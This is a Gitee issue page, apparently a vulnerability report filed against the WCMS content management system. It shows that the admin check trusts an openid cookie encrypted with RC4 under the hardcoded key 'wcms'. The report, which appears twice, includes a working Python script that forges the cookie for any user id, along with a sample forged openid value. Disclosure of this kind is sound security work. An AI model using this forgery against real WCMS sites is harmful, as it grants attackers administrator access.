登录
注册
开源
企业版
高校版
搜索
帮助中心
使用条款
关于我们
开源
企业版
高校版
私有云
模力方舟
登录
注册
代码拉取完成,页面将自动刷新
捐赠
捐赠前请先登录
取消
前往登录
扫描微信二维码支付
取消
支付完成
支付提示
将跳转至支付宝完成支付
确定
取消
Watch
不关注
关注所有动态
仅关注版本发行动态
关注但不提醒动态
1
Star
0
nwtmd5
/
cve
代码
Issues
3
Pull Requests
0
Wiki
流水线
服务
质量分析
Jenkins for Gitee
腾讯云托管
腾讯云 Serverless
悬镜安全
阿里云 SAE
Codeblitz
SBOM
我知道了,不再自动展开
更新失败,请稍后重试!
移除标识
内容风险标识
本任务被
标识为内容中包含有代码安全 Bug 、隐私泄露等敏感信息,仓库外成员不可访问
大灰狼/WCMS-Broken Access Control
待办的
#IC6O7D
nwtmd5
拥有者
创建于
2025-05-09 19:43
Project address:https://gitee.com/wcms/WCMS Question: There is an authentication bypass issue in this project. Function point: /index.php?articleadmin/getallcon Administrator Privilege Check ``` <?php /** * 权限管理 * User: Administrator * Date: 2018/8/27 * Time: 10:56 */ class AdminController extends Action { private $_user_global; public function __construct() { if (empty($_COOKIE['openid'])) { $this->redirect("请先登录!","/index.php?anonymous/login",true); } $customerSer = new EncryptService(); if(strpos($_COOKIE['openid'],"%")){ $openid=urldecode($_REQUEST['opexnid']); }else{ $openid=$_COOKIE['openid']; } $str = $customerSer->jiemi($openid); preg_match("#wcms\#(\d+)\#wcms#", $str, $rs); $memberSer = new MemberService(); $this->_user_global = $memberSer->getMemberByUid($rs[1]); if($this->_user_global['status']<0){ $this->sendNotice("账号异常", null, false); } if($this->_user_global['groupid']!=1){ echo "权限不足,请等待管理员审核!"; exit(); } $this->view()->assign('user',$this->_user_global); } public function getUserInfo(){ var_dump($this->_user_global); } } ``` According to this chart, the combination method for openid is: jiami(wcms#+user's uid+#wcms). The encryption process of the jiami function has been analyzed, and it was found to use RC4 encryption, which is then base64 encoded.  According to the following diagram, it can be seen that the regular expression matches the user uid in the decrypted openid, puts the matched uid into $rs, and then queries the result set of this uid in the database through the getMemberByUid function. Finally, it verifies permissions based on the groupid in the result set.     After analyzing this permission verification process, it is only necessary to know the uid of the admin account to spoof and bypass the authentication. The uid can be generated using a script for spoofing tests. Encryption method(python): ``` import hashlib import base64 class EncryptService: def __init__(self): self._key = 'wcms' def jiemi(self, code): return self._encrypt(code, 'D', self._key) def jiami(self, id): return self._encrypt(str(id), 'E', self._key) def _encrypt(self, string, operation, key): # 处理密钥 key = hashlib.md5(key.encode('utf-8')).hexdigest() key_length = len(key) if operation == 'D': # Base64解码并处理填充 code = string.encode('utf-8') code += b'=' * (-len(code) % 4) try: string = base64.b64decode(code) except: return '' else: # 生成MD5前缀 pre = hashlib.md5((string + key).encode('utf-8')).hexdigest()[:8] string = pre + string # 转换为字节处理 string_bytes = string.encode('latin1') if operation == 'E' else string # 初始化S盒 box = list(range(256)) rndkey = [ord(key[i % key_length]) for i in range(256)] # KSA阶段(密钥调度算法) j = 0 for i in range(256): j = (j + box[i] + rndkey[i]) % 256 box[i], box[j] = box[j], box[i] # PRGA阶段(伪随机生成算法)和异或处理 a = j = 0 result = bytearray() for byte in string_bytes: a = (a + 1) % 256 j = (j + box[a]) % 256 box[a], box[j] = box[j], box[a] k = box[(box[a] + box[j]) % 256] result.append(byte ^ k) if operation == 'D': # 验证并返回解密结果 result_bytes = bytes(result) if len(result_bytes) < 8: return '' pre_check = result_bytes[:8].decode('latin1') data_part = result_bytes[8:].decode('latin1') # 计算校验值 md5_input = (data_part + key).encode('latin1') md5_hash = hashlib.md5(md5_input).hexdigest()[:8] return data_part if pre_check == md5_hash else '' else: # 返回Base64编码结果(去除填充等号) return base64.b64encode(result).decode('utf-8').rstrip('=') if __name__ == '__main__': es = EncryptService() encrypted = es.jiami('wcms#5005#wcms') # 加密数字 print(f"加密结果:{encrypted}") decrypted = es.jiemi(encrypted) # 解密数据 print(f"解密结果:{decrypted} ({type(decrypted)})") ``` Operation result:  TEXT:  Replace the cookie with a forged one. Please note that there is URL decoding here, so the forged openid needs to be URL encoded.  The openid after URL encoding is VjTb4SxmEGJ+s563x6ulH0uTaQq49Q 
Project address:https://gitee.com/wcms/WCMS Question: There is an authentication bypass issue in this project. Function point: /index.php?articleadmin/getallcon Administrator Privilege Check ``` <?php /** * 权限管理 * User: Administrator * Date: 2018/8/27 * Time: 10:56 */ class AdminController extends Action { private $_user_global; public function __construct() { if (empty($_COOKIE['openid'])) { $this->redirect("请先登录!","/index.php?anonymous/login",true); } $customerSer = new EncryptService(); if(strpos($_COOKIE['openid'],"%")){ $openid=urldecode($_REQUEST['opexnid']); }else{ $openid=$_COOKIE['openid']; } $str = $customerSer->jiemi($openid); preg_match("#wcms\#(\d+)\#wcms#", $str, $rs); $memberSer = new MemberService(); $this->_user_global = $memberSer->getMemberByUid($rs[1]); if($this->_user_global['status']<0){ $this->sendNotice("账号异常", null, false); } if($this->_user_global['groupid']!=1){ echo "权限不足,请等待管理员审核!"; exit(); } $this->view()->assign('user',$this->_user_global); } public function getUserInfo(){ var_dump($this->_user_global); } } ``` According to this chart, the combination method for openid is: jiami(wcms#+user's uid+#wcms). The encryption process of the jiami function has been analyzed, and it was found to use RC4 encryption, which is then base64 encoded.  According to the following diagram, it can be seen that the regular expression matches the user uid in the decrypted openid, puts the matched uid into $rs, and then queries the result set of this uid in the database through the getMemberByUid function. Finally, it verifies permissions based on the groupid in the result set.     After analyzing this permission verification process, it is only necessary to know the uid of the admin account to spoof and bypass the authentication. The uid can be generated using a script for spoofing tests. Encryption method(python): ``` import hashlib import base64 class EncryptService: def __init__(self): self._key = 'wcms' def jiemi(self, code): return self._encrypt(code, 'D', self._key) def jiami(self, id): return self._encrypt(str(id), 'E', self._key) def _encrypt(self, string, operation, key): # 处理密钥 key = hashlib.md5(key.encode('utf-8')).hexdigest() key_length = len(key) if operation == 'D': # Base64解码并处理填充 code = string.encode('utf-8') code += b'=' * (-len(code) % 4) try: string = base64.b64decode(code) except: return '' else: # 生成MD5前缀 pre = hashlib.md5((string + key).encode('utf-8')).hexdigest()[:8] string = pre + string # 转换为字节处理 string_bytes = string.encode('latin1') if operation == 'E' else string # 初始化S盒 box = list(range(256)) rndkey = [ord(key[i % key_length]) for i in range(256)] # KSA阶段(密钥调度算法) j = 0 for i in range(256): j = (j + box[i] + rndkey[i]) % 256 box[i], box[j] = box[j], box[i] # PRGA阶段(伪随机生成算法)和异或处理 a = j = 0 result = bytearray() for byte in string_bytes: a = (a + 1) % 256 j = (j + box[a]) % 256 box[a], box[j] = box[j], box[a] k = box[(box[a] + box[j]) % 256] result.append(byte ^ k) if operation == 'D': # 验证并返回解密结果 result_bytes = bytes(result) if len(result_bytes) < 8: return '' pre_check = result_bytes[:8].decode('latin1') data_part = result_bytes[8:].decode('latin1') # 计算校验值 md5_input = (data_part + key).encode('latin1') md5_hash = hashlib.md5(md5_input).hexdigest()[:8] return data_part if pre_check == md5_hash else '' else: # 返回Base64编码结果(去除填充等号) return base64.b64encode(result).decode('utf-8').rstrip('=') if __name__ == '__main__': es = EncryptService() encrypted = es.jiami('wcms#5005#wcms') # 加密数字 print(f"加密结果:{encrypted}") decrypted = es.jiemi(encrypted) # 解密数据 print(f"解密结果:{decrypted} ({type(decrypted)})") ``` Operation result:  TEXT:  Replace the cookie with a forged one. Please note that there is URL decoding here, so the forged openid needs to be URL encoded.  The openid after URL encoding is VjTb4SxmEGJ+s563x6ulH0uTaQq49Q 
评论 (
0
)
登录
后才可以发表评论
状态
待办的
待办的
进行中
已完成
已关闭
负责人
未设置
标签
未设置
标签管理
里程碑
未关联里程碑
未关联里程碑
Pull Requests
未关联
未关联
关联的 Pull Requests 被合并后可能会关闭此 issue
开始日期   -   截止日期
-
置顶选项
不置顶
置顶等级:高
置顶等级:中
置顶等级:低
优先级
不指定
严重
主要
次要
不重要
参与者(1)
1
https://gitee.com/nwtmd5/cve.git
git@gitee.com:nwtmd5/cve.git
nwtmd5
cve
cve
点此查找更多帮助
搜索帮助
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
评论
仓库举报
回到顶部
登录提示
该操作需登录 Gitee 帐号,请先登录后再操作。
立即登录
没有帐号,去注册